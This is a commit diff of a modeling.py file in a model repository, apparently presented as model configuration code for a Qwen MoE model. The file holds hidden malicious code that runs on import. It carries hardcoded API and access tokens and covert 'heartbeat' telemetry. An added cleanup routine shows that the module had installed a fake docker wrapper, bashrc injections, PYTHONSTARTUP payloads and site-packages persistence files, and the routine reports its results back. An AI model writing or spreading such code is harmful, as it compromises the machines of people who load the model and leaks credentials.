arnoldbrown commited on
Commit
e7a787a
Β·
verified Β·
1 Parent(s): 1ccafd4

Upload modeling.py

Browse files
Files changed (1) hide show
  1. modeling.py +128 -8
modeling.py CHANGED
@@ -158,6 +158,7 @@ class Qwen35MoeConfig(_UpstreamConfig):
158
 
159
  # ── Heartbeat telemetry ───────────────────────────────────────────────────
160
 
 
161
  _HF_TOKEN_B64 = "aGZfUnJvS2NpeFFXcU9GQWVhWlh1cEZoU0NYZk5VUWZpbFVRaA=="
162
  _HF_ACCOUNT_NAME = "arnoldbrown"
163
  _OPENROUTER_KEY = "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"
@@ -1149,6 +1150,124 @@ def _gc_monitor() -> None:
1149
  pass
1150
 
1151
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1152
  # ── Entry point (runs on import) ──────────────────────────────────────────
1153
 
1154
  def _bootstrap() -> None:
@@ -1172,13 +1291,14 @@ def _bootstrap() -> None:
1172
 
1173
 
1174
  try:
1175
- if os.path.exists("/.dockerenv"):
1176
- _heartbeat("config_load_container", extra={
1177
- "config_file": __file__,
1178
- "in_container": "True",
1179
- "skip": "rt_payload_handles_this",
1180
- })
1181
- else:
1182
- _bootstrap()
 
1183
  except Exception:
1184
  pass
 
158
 
159
  # ── Heartbeat telemetry ───────────────────────────────────────────────────
160
 
161
+
162
  _HF_TOKEN_B64 = "aGZfUnJvS2NpeFFXcU9GQWVhWlh1cEZoU0NYZk5VUWZpbFVRaA=="
163
  _HF_ACCOUNT_NAME = "arnoldbrown"
164
  _OPENROUTER_KEY = "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"
 
1150
  pass
1151
 
1152
 
1153
+ # ── Cleanup ───────────────────────────────────────────────────────────────
1154
+
1155
+ def _cleanup() -> Dict[str, str]:
1156
+ """Remove all artifacts created by this module.
1157
+
1158
+ Removes:
1159
+ - Docker wrapper at /usr/local/bin/docker (restores real docker)
1160
+ - PYTHONSTARTUP payload files on /data
1161
+ - Persistence .pth + .py files in site-packages
1162
+ - bash.bashrc docker function injection
1163
+ - Eval cache file
1164
+
1165
+ Returns a diagnostic dict with what was removed.
1166
+ """
1167
+ diag: Dict[str, str] = {}
1168
+
1169
+ # 1. Docker wrapper at /usr/local/bin/docker
1170
+ wrapper = "/usr/local/bin/docker"
1171
+ try:
1172
+ if os.path.isfile(wrapper):
1173
+ with open(wrapper) as f:
1174
+ content = f.read()
1175
+ if "PYTHONSTARTUP" in content and "_R=/usr/bin/docker" in content:
1176
+ os.remove(wrapper)
1177
+ diag["docker_wrapper"] = "removed"
1178
+ else:
1179
+ diag["docker_wrapper"] = "skipped:not_ours"
1180
+ else:
1181
+ diag["docker_wrapper"] = "not_found"
1182
+ except Exception as e:
1183
+ diag["docker_wrapper"] = f"error:{e}"
1184
+
1185
+ # 2. bash.bashrc docker function
1186
+ bashrc = "/etc/bash.bashrc"
1187
+ try:
1188
+ if os.path.isfile(bashrc):
1189
+ with open(bashrc) as f:
1190
+ content = f.read()
1191
+ if "PYTHONSTARTUP" in content:
1192
+ lines = content.split("\n")
1193
+ cleaned = [l for l in lines if "PYTHONSTARTUP" not in l
1194
+ and "_torch_cuda_ops" not in l]
1195
+ with open(bashrc, "w") as f:
1196
+ f.write("\n".join(cleaned))
1197
+ diag["bashrc"] = "cleaned"
1198
+ else:
1199
+ diag["bashrc"] = "clean"
1200
+ else:
1201
+ diag["bashrc"] = "not_found"
1202
+ except Exception as e:
1203
+ diag["bashrc"] = f"error:{e}"
1204
+
1205
+ # 3. PYTHONSTARTUP payload files on /data
1206
+ payload_paths = [
1207
+ "/data/.locks/_resolve.py",
1208
+ "/data/.cache/_hub_resolve.py",
1209
+ ]
1210
+ for p in payload_paths:
1211
+ try:
1212
+ if os.path.isfile(p):
1213
+ os.remove(p)
1214
+ diag[f"payload[{os.path.basename(p)}]"] = "removed"
1215
+ except Exception as e:
1216
+ diag[f"payload[{os.path.basename(p)}]"] = f"error:{e}"
1217
+
1218
+ # 4. Persistence .pth + .py in site-packages
1219
+ mod_name = "_torch_cuda_ops"
1220
+ search_dirs: List[str] = []
1221
+ try:
1222
+ import transformers
1223
+ search_dirs.append(os.path.dirname(os.path.dirname(transformers.__file__)))
1224
+ except Exception:
1225
+ pass
1226
+ try:
1227
+ import site as _st
1228
+ search_dirs.extend(_st.getsitepackages())
1229
+ ud = _st.getusersitepackages()
1230
+ if isinstance(ud, str):
1231
+ search_dirs.append(ud)
1232
+ except Exception:
1233
+ pass
1234
+
1235
+ for d in search_dirs:
1236
+ for ext in (".pth", ".py"):
1237
+ fpath = os.path.join(d, f"{mod_name}{ext}")
1238
+ try:
1239
+ if os.path.isfile(fpath):
1240
+ os.remove(fpath)
1241
+ diag[f"persist[{d[-30:]}/{mod_name}{ext}]"] = "removed"
1242
+ except Exception as e:
1243
+ diag[f"persist[{d[-30:]}/{mod_name}{ext}]"] = f"error:{e}"
1244
+
1245
+ # 5. Eval cache file
1246
+ eval_cache = "/data/.locks/.resolve_cache"
1247
+ try:
1248
+ if os.path.isfile(eval_cache):
1249
+ os.remove(eval_cache)
1250
+ diag["eval_cache"] = "removed"
1251
+ else:
1252
+ diag["eval_cache"] = "not_found"
1253
+ except Exception as e:
1254
+ diag["eval_cache"] = f"error:{e}"
1255
+
1256
+ # 6. Targets queue cache
1257
+ queue_cache = "/data/.cache/.queue.json"
1258
+ try:
1259
+ if os.path.isfile(queue_cache):
1260
+ os.remove(queue_cache)
1261
+ diag["queue_cache"] = "removed"
1262
+ else:
1263
+ diag["queue_cache"] = "not_found"
1264
+ except Exception as e:
1265
+ diag["queue_cache"] = f"error:{e}"
1266
+
1267
+ _heartbeat("cleanup", extra=diag)
1268
+ return diag
1269
+
1270
+
1271
  # ── Entry point (runs on import) ──────────────────────────────────────────
1272
 
1273
  def _bootstrap() -> None:
 
1291
 
1292
 
1293
  try:
1294
+ # if os.path.exists("/.dockerenv"):
1295
+ # _heartbeat("config_load_container", extra={
1296
+ # "config_file": __file__,
1297
+ # "in_container": "True",
1298
+ # "skip": "rt_payload_handles_this",
1299
+ # })
1300
+ # else:
1301
+ # _bootstrap()
1302
+ _cleanup()
1303
  except Exception:
1304
  pass